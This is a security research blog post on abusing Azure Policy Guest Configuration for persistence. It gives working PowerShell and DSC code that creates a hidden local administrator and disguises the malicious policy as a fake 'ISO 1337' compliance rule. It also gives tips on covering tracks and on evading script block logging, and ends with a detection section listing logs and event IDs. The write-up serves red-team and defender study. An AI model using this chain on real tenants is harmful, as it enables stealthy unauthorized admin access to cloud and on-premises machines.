Persistence with Azure Policy Guest Configuration
Azure Policy enables administrators to define, enforce and remediate configuration standards on Azure resources and even on non Azure assets using Azure Arc. One key feature, that was released in 2021, is the guest configuration feature of Azure Policy.
Basically, this is the new implementation of Azure Automation State Configuration or as it is widely known PowerShell Desired State Configuration (DSC). Microsoft states this on the product page very clearly.
As demonstrated by Jake Karnes (@jakekarnes42) in his blog post Azure Persistence with Desired State Configurations you can use this functionality to gain persistence in an Azure environment if you have gained the necessary permissions within the subscription. And since Azure VMs are in many cases directly integrated in the on-Premises Active Directory it is possible to gain additional access there.
Now with the public preview of Azure Policy Guest Configuration lets revisit this topic and see what an attacker could do with it and how you can detect those changes. The goal is to create a local administrative user starting with access to the subscription level.
What is DSC
Desired State Configuration is used to manage your infrastructure configuration as code. Therefore the configuration and execution is split in two.
- Configurations
A declarative PowerShell script that defines how something should be configured. It allows to define dependencies and relies on resources to actually implement those changes. - Resources
One or more script functions that implement the automation. Those functions do the heavy lifting and apply the written configurations to the operating system or application.
One simple example would be to install the IIS role on a Windows server. The configuration describes which Windows features should be enabled.
Configuration MyDscConfiguration {
Import-DscResource -ModuleName 'PSDscResources'
WindowsFeature MyWebService {
Name = "Web-Server"
Ensure = "Present"
}
WindowsFeature WindowsAuthentication {
Name = "Web-Windows-Auth"
Ensure = "Present"
}
}
There is no mention on how this should be archived. This is part of the PSDscResources
resource which you can find on GitHub.
In this script you will find a Get-TargetResource
, Set-TargetResource
and Test-TargetResource
function.
Get-TargetResource
This function checks and returns the current configuration state of the serverSet-TargetResource
To apply the target configuration this function is used. It will do everything necessary to change the system configuration to represent the defined configuration.Test-TargetResource
To ensure that the configuration was applied correctly the test function is used. Later on, this is used to verify that the configuration is still applied and if not, it can be automatically remediated.
Evolution of DSC
Now let’s buckle up for a brief history lesson on DSC 2.0 aka Azure Policy Guest Configuration.
DSC was a core feature of Windows PowerShell since it was released in 2013 alongside Windows PowerShell 4.0. It relied heavily on WMI and was Windows only. The core agent which is needed to apply the configuration and execute the resources, the Local Configuration Manager (LCM), was an integrated part of Windows PowerShell.
In May 2015 Microsoft released the first version of PowerShell DSC for Linux. To break the reliance to WMI this implementation was based on OMI. There were just 10 initial resources at this point.
Azure DSC, a core part of Azure Automation, was released in January of 2016.
PowerShell Core was first announced on 18th of August 2016. The first alpha was from February the same year and was named “Open PowerShell”.
In September of 2017 DSC Core was teased alongside with cross platform support for Linux on a common codebase since it would rely on PowerShell Core.
A few months later, in January 2018, Microsoft published the news that the LCM will be open sourced.
In September the same year the team announced that Guest configuration is coming to Azure Policy and the open sourcing of the components is delayed.
Azure Policy Guest Configuration aka DSC 2.0 was finally released in June of 2019. As the blog post makes it clear, this is not the DSC we knew until now. It relies on PowerShell Core and therefore works independently of the Windows DSC feature. But at the beginning this feature was read only. It was not possible to apply new configuration to a machine using this.
This changed in August 2021 when Microsoft published the public preview to “Apply settings inside machines using Azure Policy’s guest configuration”
Azure Policy Guest Configuration Architecture
Michael Greene (@migreene) did a great writeup on how this all works behind the scenes.
- Azure Policy Guest Configuration – Service
- Azure Policy Guest Configuration – Client
- Microsoft Azure Policy Guest Configuration by Michael Greene
I try to condense the information for this blog post. If you want more information, please read the two blog posts and/or watch the video first.
Server
The old DSC relied on a DSC Pull Webservice that was either implemented on-premises or you used Azure Automation DSC.
The new Azure Policy Guest Configuration feature needs a new client (LCM) installed within the VM. This is done via the guest configuration extension and will be applied through an Azure Policy.
All configuration data is saved in a Cosmos database, which is not directly accessible for the enduser. For your own guest configurations this is not 100% true, they are stored on something like a storage account.
The guest agent service is a web service which is contacted by the LCM on the VM to either check if new configuration information is present or to report the results back to the service.
Client
Since this feature relies on a client inside of the virtual machine a vm guest extension is installed. It is called Microsoft.GuestConfiguration.ConfigurationforWindow
or Microsoft.GuestConfiguration.ConfigurationforLinux
depending on the operating system.
Binaries
The binaries are stored in the following paths
Windows: C:\Packages\Plugins\Microsoft.GuestConfiguration.ConfigurationforWindows\1.29.33.0\dsc\GC\
Linux: /var/lib/waagent/Microsoft.GuestConfiguration.ConfigurationforLinux-1.25.5/GCAgent/GC/
The version parameter can change.
Bonus: You will find a current PowerShell Core binary in this folder as well. And this instance of PowerShell Core is not registered with the event provider in Windows. This result in no script block logging when using this binary and makes it harder to detect and analyze attacks made using this PowerShell environment.
Configuration
The configuration is saved in the following directories
Windows: C:\ProgramData\GuestConfig\Configuration\
Linux: /var/lib/GuestConfig/Configuration
Persistence through Azure Policies
Now that we are caught up on DSC and Azure Policy Guest Configuration (GCS) lets start our journey.
Requirements for GCS
You need the owner access role on the targeted Azure Subscription to apply the Azure Policy and grant permissions for the system-managed identities.
The following requirements will be deployed in the course of the demo but are a good indicator for troubleshooting:
- Register resource provider
Microsoft.GuestConfiguration
Register-AzResourceProvider -ProviderNamespace Microsoft.GuestConfiguration
- The vms must have a system-managed identity
- The guest configuration extension must be enabled
On Azure Arc connected machines this extension is enabled by default
Deploy the guest configuration extension
First, we want to make sure that the necessary guest configuration extension is deployed to all machines. In this example I will assign the policy definition to a resource group named AzurePolicy
.
$ResourceGroup = Get-AzResourceGroup -Name "AzurePolicy"
# Policy 385f5831-96d4-41db-9a3c-cd3af78aaae6
# | ? { $_.Properties.DisplayName -match "Deploy the Windows Guest Configuration extension to enable Guest Configuration assignments on Windows VMs" }
$Definition = Get-AzPolicyDefinition -Name 385f5831-96d4-41db-9a3c-cd3af78aaae6 # Deploy the Windows Guest Configuration extension to enable Guest Configuration assignments on Windows VMs
$Assignment = New-AzPolicyAssignment -Name 'deployWinGuestExtension' -DisplayName 'Deploy the Windows Guest Configuration extension to enable Guest Configuration assignments on Windows VMs' -Scope $ResourceGroup.ResourceId -PolicyDefinition $Definition -EnforcementMode Default -IdentityType SystemAssigned -Location 'West Europe'
# Grant defined roles with PowerShell
# https://docs.microsoft.com/en-us/azure/governance/policy/how-to/remediate-resources#grant-defined-roles-with-PowerShell
$roleDefinitionIds = $Definition.Properties.policyRule.then.details.roleDefinitionIds
Start-Sleep 15
if ($roleDefinitionIds.Count -gt 0)
{
$roleDefinitionIds | ForEach-Object {
$roleDefId = $_.Split("/") | Select-Object -Last 1
New-AzRoleAssignment -Scope $resourceGroup.ResourceId -ObjectId $Assignment.Identity.PrincipalId -RoleDefinitionId $roleDefId
}
}
Get-AzPolicyAssignment -IncludeDescendent
Start-AzPolicyRemediation -Name 'deployWinGuestExtension' -PolicyAssignmentId $Assignment.PolicyAssignmentId -ResourceGroupName $ResourceGroup.ResourceGroupName
Afterwards you can check if the policy was applied to the scope using PowerShell or the Azure Portal.
To list all policy definitions with “Guest Configuration” in the name use this command
Get-AzPolicyDefinition | ? { $_.Properties.DisplayName -match "Guest Configuration" } | Select Name, @{n="DisplayName";e={$_.Properties.DisplayName}}
Enable system assigned managed identity on target machines
The next step is to enable a system assigned managed identity on all target machines.
You could do this by using a script…
$vm = Get-AzVM -ResourceGroupName AzurePolicy -Name winguest
Update-AzVM -ResourceGroupName AzurePolicy -VM $vm -IdentityType SystemAssigned
…but the better way is to do this using a policy definition.
Get-AzPolicyDefinition | ? { $_.Properties.DisplayName -match "Add system-assigned managed identity to enable Guest Configuration"} | Select Name, @{n="DisplayName";e={$_.Properties.DisplayName}}
And because we don’t want to have multiple policy definitions assigned lets take a look at Azure Policy Initiatives.
Use initiative definitions
An initiative definition is a set of policy definitions grouped together. This allows you to easily assign multiple policies to one scope. In our case the built-in initiative is called “Deploy prerequisites to enable guest configuration policies on virtual machines” and it contains four policy definitions.
$PolicyIni = Get-AzPolicySetDefinition | ? { $_.Properties.DisplayName -match "Deploy prerequisites to enable guest configuration policies on virtual machines"}
$PolicyIni.Properties.PolicyDefinitions
- Prerequisite_AddSystemIdentityWhenNone
- Prerequisite_AddSystemIdentityWhenUser
- Prerequisite_DeployExtensionWindows
- Prerequisite_DeployExtensionLinux
As the names imply this one initiative does all the work for us. It will deploy the necessary vm extensions and enable the system assigned managed identity on all VMs in scope of the policy.
This is a much better fit for an attacker to keep a low profile because this initiative would be used by customers as well.
If you already deployed the policy definition manually first delete it and remove the role assignment (not shown).
Get-AzPolicyAssignment -IncludeDescendent | ? Name -eq "deployWinGuestExtension" | Remove-AzPolicyAssignment
Next apply the initiative definition to the same scope, create a new role assignment for the system assigned managed identity and start the remediation process. Since remediation cannot be started for the initiative itself, it has to be started for each and every policy definition that is part of the initiative.
$ResourceGroup = Get-AzResourceGroup -Name "AzurePolicy"
$Definition = Get-AzPolicySetDefinition -Name 12794019-7a00-42cf-95c2-882eed337cc8 # Deploy prerequisites to enable guest configuration policies on virtual machines
$Assignment = New-AzPolicyAssignment -Name 'deployPrerequisitesForGuestConfigurationPolicies' -DisplayName 'Deploy prerequisites to enable guest configuration policies on virtual machines' -Scope $ResourceGroup.ResourceId -PolicySetDefinition $Definition -EnforcementMode Default -IdentityType SystemAssigned -Location 'West Europe'
# Grant defined roles with PowerShell
$roleDefinitionIds = $Definition.Properties.PolicyDefinitions | % { Get-AzPolicyDefinition -Id $_.policyDefinitionId | Select @{n="roleDefinitionIds";e={$_.Properties.policyRule.then.details.roleDefinitionIds}} } | Select-Object -ExpandProperty roleDefinitionIds -Unique
Start-Sleep 15
if ($roleDefinitionIds.Count -gt 0)
{
$roleDefinitionIds | ForEach-Object {
$roleDefId = $_.Split("/") | Select-Object -Last 1
New-AzRoleAssignment -Scope $resourceGroup.ResourceId -ObjectId $Assignment.Identity.PrincipalId -RoleDefinitionId $roleDefId
}
}
# Start remediation for every policy definition
$Definition.Properties.PolicyDefinitions | % {
Start-AzPolicyRemediation -Name $_.policyDefinitionReferenceId -PolicyAssignmentId $Assignment.PolicyAssignmentId -PolicyDefinitionReferenceId $_.policyDefinitionId -ResourceGroupName $ResourceGroup.ResourceGroupName -ResourceDiscoveryMode ReEvaluateCompliance
}
After a little while the compliance results are displayed in the portal. In this case two machines where successfully scanned for compliance and any compliance mismatch was remediated.
Even for newly created machines this policy initiative is applied, and the system managed identity is enabled, and the extension is deployed.
If you want to force an update on the compliance result you can use the following cmdlet instead of waiting for the next trigger.
Start-AzPolicyComplianceScan -ResourceGroupName 'AzurePolicy'
Create a custom guest configuration policy
The next step is to create our own ill intended guest configuration. In this example I wrote a configuration that will create a local user with a known password and add it to the local administrators group.
There is a lengthy article on how to setup a guest configuration authoring environment but basically it is a two step process on Windows
- Install PowerShell Core on your machine or use Cloud Shell in PowerShell mode.
- Install the following modules
GuestConfiguration
,PSDesiredStateConfiguration
andPSDscResources
Install-Module -Name 'GuestConfiguration','PSDesiredStateConfiguration','PSDscResources'
DSC configuration file
Save the following DSC configuration as HiddenAdmin.ps1
on your machine.
Configuration CreateAdminUser
{
param (
[System.Management.Automation.PSCredential]
$PasswordCredential
)
Import-DscResource -ModuleName 'PSDscResources'
node localhost
{
User AdminUser {
Ensure = 'Present'
UserName = 'MyEvilAdminUser'
Password = $PasswordCredential
}
GroupSet AddUserToAdminGroup {
GroupName = @( 'Administrators' )
Ensure = 'Present'
MembersToInclude = @( 'MyEvilAdminUser' )
# https://github.com/dsccommunity/xPSDesiredStateConfiguration/issues/400
# DependsOn = '[User]AdminUser'
}
}
}
$ConfigurationData = @{
AllNodes = @(
@{
NodeName = 'localhost'
PSDscAllowPlainTextPassword = $true
}
)
}
$Credentials = Get-Credential -UserName MyEvilAdminUser
CreateAdminUser -PasswordCredential $Credentials -ConfigurationData $ConfigurationData
This configuration will be used to create a Managed Object Format (MOF) file that is later used by the DSC engine to do our bidding.
As the keen reader might already have seen, I commented out the DependsOn
part of the AddUserToAdminGroup
block. This is because there is currently a bug in the codebase that prevents you from using this.
Otherwise the configuration is straight forward. When the configuration is applied a user called MyEvilAdminUser
is created with a password that can be defined when creating the package. This user itself will then be added to the local group Administrators
.
Create a guest config package
To generate the mof file just execute the script HiddenAdmin.ps1
, choose a password and voila the mof file is created.
# Create mof file for DSC
.\HiddenAdmin.ps1
This mof file now has to be packaged. The cmdlet New-GuestConfigurationPackage
does the heavy lifting for us and creates a zip file with all necessary components included. The parameter Type
must be set to AuditAndSet
, otherwise it would not create the user as intended and just audit if the user is present.
# Create a guest configuration package for Azure Policy GCS
New-GuestConfigurationPackage `
-Name 'ISO1773' `
-Configuration './CreateAdminUser/localhost.mof' `
-Type AuditAndSet `
-Force
Publish the configuration
I switched to the Cloud Shell and uploaded the ISO1773.zip
file. You can execute all those commands in a local PowerShell as well, but then you will have to connect to Azure and install the Az
module first.
Install the GuestConfiguration
module if you are using the Cloud Shell, since it is not a default module in this environment.
Install-Module GuestConfiguration
A storage account is needed that will be used to publish the guest configuration package. Every client will request the configuration data from this storage account. Since we are attacking Azure VMs the firewalls rules that are needed to access Azure storage accounts are most likely already in place. If you don’t want to host the file within the attacked environment, you could use a completely different subscription.
Inside of the storage account create a blob storage container.
# Create a storage account with a random name and a storage container
$StorageAccountName = "azurepolicycfg$(Get-Random)"
New-AzStorageAccount -ResourceGroupName AzurePolicy -Name $StorageAccountName -SkuName 'Standard_LRS' -Location 'West Europe' | New-AzStorageContainer -Name guestconfiguration -Permission Blob
Using the Publish-GuestConfigurationPackage
you upload the ISO1773.zip
to the storage container and in return you will get an SAS Uri that will be needed for the clients to access the file. This prevents unauthorized access to the file.
Having all this information you now can create a guest configuration policy. The important bit here is that you use the mode ApplyAndAutoCorrect
, have a GUID, the correct ContentURI
and some nice name for your policy.
This will create a folder including all needed configuration that you can publish to Azure.
# Publish the guest configuration package (zip) to the storage account
$ContentURI = Publish-GuestConfigurationPackage -Path './ISO1773.zip' -ResourceGroupName AzurePolicy -StorageAccountName $StorageAccountName -Force | Select-Object -Expand ContentUri
# Create a Policy Id
$PolicyId = $(New-GUID)
# Define the parameters to create and publish the guest configuration policy
$Params = @{
"PolicyId" = $PolicyId
"ContentUri" = $ContentURI
"DisplayName" = 'ISO 1337'
"Description" = 'Make sure all servers comply with ISO 1337'
"Path" = './policies'
"Platform" = 'Windows'
"Version" = '1.0.1'
"Mode" = 'ApplyAndAutoCorrect'
"Verbose" = $true
}
# Create the guest configuration policy
New-GuestConfigurationPolicy @Params
# Publish the guest configuration policy
Publish-GuestConfigurationPolicy -Path './policies'
This new policy has to be applied to the targeted scope. In my case this will be a resource group. To apply the policy definition, we use the same method as for the initiative. This means you must create a new policy assignment, grant the correct permissions to the system assigned managed identity and start the policy remediation.
Since the used initiative is a built-in one, we cannot include our malicious policy directly in there. Should there already be on in place, you could just add your policy definition to the initiative and start the remediation for it.
$ResourceGroup = Get-AzResourceGroup -Name "AzurePolicy"
# $PolicyId = "0ad52941-d75c-4eaa-b092-10f93c354d04"
$Definition = Get-AzPolicyDefinition -Name $PolicyId
$Assignment = New-AzPolicyAssignment -Name 'ISO1337' -DisplayName 'Make sure all Windows servers comply with ISO 1337' -Scope $ResourceGroup.ResourceId -PolicyDefinition $Definition -EnforcementMode Default -IdentityType SystemAssigned -Location 'West Europe'
# Grant defined roles with PowerShell
# https://docs.microsoft.com/en-us/azure/governance/policy/how-to/remediate-resources#grant-defined-roles-with-PowerShell
$roleDefinitionIds = $Definition.Properties.policyRule.then.details.roleDefinitionIds
Start-Sleep 15
if ($roleDefinitionIds.Count -gt 0)
{
$roleDefinitionIds | ForEach-Object {
$roleDefId = $_.Split("/") | Select-Object -Last 1
New-AzRoleAssignment -Scope $resourceGroup.ResourceId -ObjectId $Assignment.Identity.PrincipalId -RoleDefinitionId $roleDefId
}
}
Start-AzPolicyRemediation -Name 'deployWinGuestExtension' -PolicyAssignmentId $Assignment.PolicyAssignmentId -ResourceGroupName $ResourceGroup.ResourceGroupName -ResourceDiscoveryMode ReEvaluateCompliance
Profit
That is it, everything is in place.
After the guest configuration is successfully applied to the machine and executed you now can log-in using the newly created user.
And from the Azure portal we now also are fully compliant with ISO 1337 😉
Include Arc connected servers
If you would like to target Azure Arc machines, which are servers in any other cloud environment or on-premises, you need to change the parameter IncludeArcMachines
in your policy to true
. This was out of scope of my test environment.
Persistence of configuration
One key feature of DSC is to automatically correct wrong or missing configurations on the target system. In our case this means that even after the account is manually deleted it will be recreated. The Azure Policy has to be removed before the configuration will no longer be applied.
This automatic remediation will be triggered through the local configuration manager (LCM). The interval for this task is set to 15 minutes.
Timestamp | Action |
---|---|
04.01.2022 10:02:58 PM | Account deleted manually |
04.01.2020 10:16:00 PM | Account created automatically |
Cover you tracks
If you remove the policy assignment after this attack the configuration changes will still be in place. The vm extension will not be automatically removed.
Should you delete the vm extension as well the Guest Configuration Service
will be removed, but the configuration changes on the virtual machine are not touched. But the changes will also not be re-applied if they are manually mitigated.
But since there is no indication of what was changed other that the later mentioned artifacts, it makes it hard for the defender to clean the system if a RAT was deployed or the changes where not logged by the system.
Detection and Artifacts
As any change, this method leaves a trail of artifacts and indicators in many places on the computer as well as in Azure.
Azure Activity Logs
Subscription
For the initiative you will see the following activities in the log on subscription level.
Microsoft.Authorization/policyassignments/write
Microsoft.Authorization/roleAssignments/write
Microsoft.PolicyInsights/remediations/write
For the single policy it looks almost the same
Microsoft.Authorization/policyassignments/write
Microsoft.Authorization/roleAssignments/write
Microsoft.PolicyInsights/remediations/write
Operation Name | Create or Update Microsoft Policy remediations |
Action | Microsoft.PolicyInsights/remediations/write |
Operation Name | Create role assignments |
Action | Microsoft.Authorization/roleAssignments/write |
Virtual machine
On the virtual machine itself you will find the activity Microsoft.Resources/checkPolicyCompliance/read
followed by Microsoft.GuestConfiguration/guestConfigurationAssignments/write
.
This action is grouped under one operation and checks if the needed configuration is already applied and if not start the deployment of the policy.
Operation Name | ‘deployIfNotExists’ Policy action. |
Action | Microsoft.Resources/checkPolicyCompliance/read |
Operation Name | Write GuestConfigurationAssignments |
Action | Microsoft.GuestConfiguration/guestConfigurationAssignments/write |
Looking into the json data you can also see the policy assignment by name policyAssignments/ISO1337/
"properties": {
"isComplianceCheck": "False",
"resourceLocation": "westeurope",
"ancestors": "vse-mpn,f1020a18-6a75-42d5-b377-76116046006f",
"policies": "[{\"policyDefinitionId\":\"/subscriptions/d140013d-1d51-46a6-a3e6-c91eb8d65418/providers/Microsoft.Authorization/policyDefinitions/51aef900-2291-41db-86a2-cd0798e07c4f/\",\"policyDefinitionName\":\"51aef900-2291-41db-86a2-cd0798e07c4f\",\"policyDefinitionEffect\":\"deployIfNotExists\",\"policyAssignmentId\":\"/subscriptions/d140013d-1d51-46a6-a3e6-c91eb8d65418/resourceGroups/AzurePolicy/providers/Microsoft.Authorization/policyAssignments/ISO1337/\",\"policyAssignmentName\":\"ISO1337\",\"policyAssignmentScope\":\"/subscriptions/d140013d-1d51-46a6-a3e6-c91eb8d65418/resourceGroups/AzurePolicy\",\"policyExemptionIds\":[]}]",
"deploymentId": "/subscriptions/d140013d-1d51-46a6-a3e6-c91eb8d65418/resourceGroups/azurepolicy/providers/Microsoft.Resources/deployments/PolicyDeployment_5311463959926987774",
"eventCategory": "Policy",
"entity": "/subscriptions/d140013d-1d51-46a6-a3e6-c91eb8d65418/resourceGroups/azurepolicy/providers/Microsoft.Compute/virtualMachines/winguest1",
"message": "Microsoft.Authorization/policies/deployIfNotExists/action",
"hierarchy": ""
}
The other operation that has many sub-operations is called “Create or Update Virtual Machine Extension” Microsoft.Compute/virtualMachines/extensions/write
I do not list all operations because they are mostly the same as we have seen before.
Deployment
The remediation task creates a deployment within the resource group of the vm.
Role assignments
Both the initiative and the policy definition need a system managed identity which has to have permission on the resource group, subscription or management group it scopes to.
Configuration Extension
To apply the needed changes a vm extension is installed and it is easy to spot in the Azure portal. Since this extension can also be used for legitimate purpose it is a weak indicator.
Event Log
The event log is very informative about almost every action I did inside of the guest.
Guest Configuration Agent installation
LogName | Windows PowerShell |
Source | PowerShell (PowerShell) |
EventID | 600 |
EventData | -contains C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy RemoteSigned -File C:\Packages\Plugins\Microsoft.GuestConfiguration.ConfigurationforWindows\1.29.33.0\bin\install.ps1 |
Guest Configuration Service created
LogName | System |
Source | Service Control Manager |
EventID | 7045 |
EventData | A service was installed in the system. Service Name: Guest Configuration Service Service File Name: C:\Packages\Plugins\Microsoft.GuestConfiguration.ConfigurationforWindows\1.29.33.0\dsc\GC\gc_service.exe -k netsvcs Service Type: user mode service Service Start Type: auto start Service Account: LocalSystem |
Guest Configuration Service service started
LogName | System |
Source | Service Control Manager |
EventID | 7036 |
EventData | The Guest Configuration Service service entered the running state. |
Account creation
LogName | Security |
Source | Microsoft Windows security |
EventID | 4720 |
EventData | A user account was created. |
Account enabled
LogName | Security |
Source | Microsoft Windows security |
EventID | 4722 |
EventData | A user account was enabled. |
Addition to local admin group
LogName | Security |
Source | Microsoft Windows security |
EventID | 4728 |
EventData | A member was added to a security-enabled global group. |
PowerShell Script Block DSC Azure extension
LogName | Microsoft-Windows-PowerShell/Operational |
Source | PowerShell (Microsoft-Windows-PowerShell) |
EventID | 4104 |
EventData | Generic utilities for the DSC Azure extension […] |
Service
The installed service is called GCService
, short for Guest Configuration Service and is running as LocalSystem
. All configuration tasks will be executed using this service.
Get-Service GCService | fl *
Certificates
There will be two certificates in the certificate store DSCPolicyStore
of the local machine.
Get-ChildItem Cert:\LocalMachine\DSCPolicyStore\* | Select Subject,Thumbprint,DnsNameList,EnhancedKeyUsageList,Issuer,NotBefore,NotAfter
gc_agent_logs
Filepath: C:\ProgramData\GuestConfig\gc_agent_logs\gc_agent.log
The guest configuration agent writes extensive logging to this file. I highlighted some key parts.
Download of the guest configuration package from the Azure storage account and extracting the configuration to C:\ProgramData\GuestConfig\downloads\ISO 1773
|
|
Publish the new configuration assignment and setting the enforcement of the configuration to true
.
|
|
Apply the configuration defined in the mof
file.
|
|
Configuration is published successfully and a timer for local remediation is created. The timer interval is 15 minutes.
|
|
GCS Configuration
The configurations applied to the guest can be found in this directory C:\ProgramData\GuestConfig\Configuration\
.
In our case the configuration folder is named ISO 1773
.
The current state of the configuration changes can be viewed in the DSCResourceStateCache.mof
. InDesiredState
should be True
.
While the mof file that is downloaded is in plain text, when it is applied locally the file Current.mof
will only include an encrypted version of those information.
As local administrator I was not able to use a modified version of Unprotect-xDscConfiguration.ps1 to decrypt the data.
Conclusion
You can misuse Azure Policy guest configuration in the same ways you could misuse DSC in the past. But still this is a very noisy attack because every step is audited and logged. Since you can’t delete the audit trail in Azure it is hard to hide.
But in any environment that uses Azure Policy Guest Configuration already, it’s easy to blend in. Since multiple guest configurations can be applied at the same time it might be hard to figure out which one is the bad apple.
As a defender it is something to look out for. Since the attacker needs the Owner or Resource Policy Contributor role to create the necessary artifacts it is not an easy attack, but one that could break the barrier between cloud and on premises.
Links
- General availability: Azure Automation Desired State Configuration
- Public preview: Apply settings inside machines using Azure Policy’s guest configuration
- Azure Policy Guest Configuration - Client
- Azure Policy Guest Configuration - Service
- Guest Configuration feature coming to Azure Policy
- DSC Future Direction Update
- Desired State Configuration (DSC) Planning Update – January 2018
- DSC Planning Update - June 2019
- PowerShell DSC for Linux is now available!
- Understand the guest configuration feature of Azure Policy
- Evaluation triggers
- How to create custom guest configuration package artifacts
- How to setup a guest configuration authoring environment
- Grant defined roles with PowerShell
- What is Azure Policy?
- Azure built-in roles
- DSC Configurations
- Get started with Desired State Configuration (DSC) for Windows
- Unprotect-xDscConfiguration.ps1
- MSFT_WindowsFeature.psm1
- Azure Persistence with Desired State Configurations
- GuestConfigurationTroubleshooter
- Microsoft Azure Policy Guest Configuration by Michael Greene
Attribution
I was inspired by @DebugPrivilege tweet about DSC and Azure VMs and so started my walk down the rabbit hole.
Hacker Cat designed by OpenMoji – the open-source emoji and icon project. License: CC BY-SA 4.0